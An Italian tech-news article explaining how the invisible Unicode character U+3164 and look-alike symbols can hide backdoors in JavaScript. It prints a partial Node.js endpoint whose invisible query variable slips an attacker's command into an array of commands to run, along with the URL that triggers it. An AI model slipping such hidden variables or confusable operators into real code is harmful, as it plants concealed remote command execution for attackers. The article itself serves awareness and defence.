Utilizzo di caratteri unicode invisibili per nascondere le azioni nel codice JavaScript

Seguendo il metodo di attacco Trojan Source basato sull'utilizzo di caratteri Unicode che modificano l'ordine di visualizzazione del testo bidirezionale, è stata pubblicata un'altra tecnica per introdurre azioni nascoste, applicabile al codice JavaScript. Il nuovo metodo si basa sull'uso del carattere unicode "ㅤ" (codice 0x3164, "HANGUL FILLER"), che è una lettera ma non ha contenuto visibile. La categoria Unicode a cui appartiene questo carattere è stata consentita dalla specifica ECMAScript 2015 per l'uso nei nomi delle variabili JavaScript, che consente di creare variabili invisibili o nuove variabili indistinguibili da altre variabili in editor di codice popolari come Notepad++ e VS Code.

A titolo di esempio viene riportato il codice per la piattaforma Node.js, in cui, utilizzando una variabile composta da un solo carattere "ㅤ", viene nascosta una backdoor che permette di eseguire il codice specificato dall'attaccante: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // in realtà dice "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // virgola seguita da \u3164 ];

A prima vista, solo il valore di timeout viene passato attraverso il parametro esterno e l'array con i comandi da eseguire contiene un elenco fisso innocuo. Ma in realtà, dopo la variabile timeout, viene assegnato il valore di un'altra variabile invisibile con il codice simbolo \u3164, anch'essa sostituita nell'array di comandi eseguibili. Pertanto, in presenza di una tale struttura, un utente malintenzionato può inviare una richiesta del tipo "https://host:8080/network_health?%E3%85%A4=command" per attivare la backdoor ed eseguire il suo codice.

Come altro esempio, viene fornito il carattere "ǃ" (CLIC ALVEOLARE), che può essere utilizzato per dare l'impressione di indicare un punto esclamativo. Ad esempio, l'espressione "if(environmentǃ=ENV_PROD){" quando viene eseguita in Node.js 14 sarà sempre true, perché non controlla le differenze, ma imposta la variabile "environmentǃ" su ENV_PROD. I caratteri Unicode fuorvianti includono "/", "−", "+", "⩵", "❨", "⫽", "꓿" e "∗".

Fonte: opennet.ru

Aggiungi un commento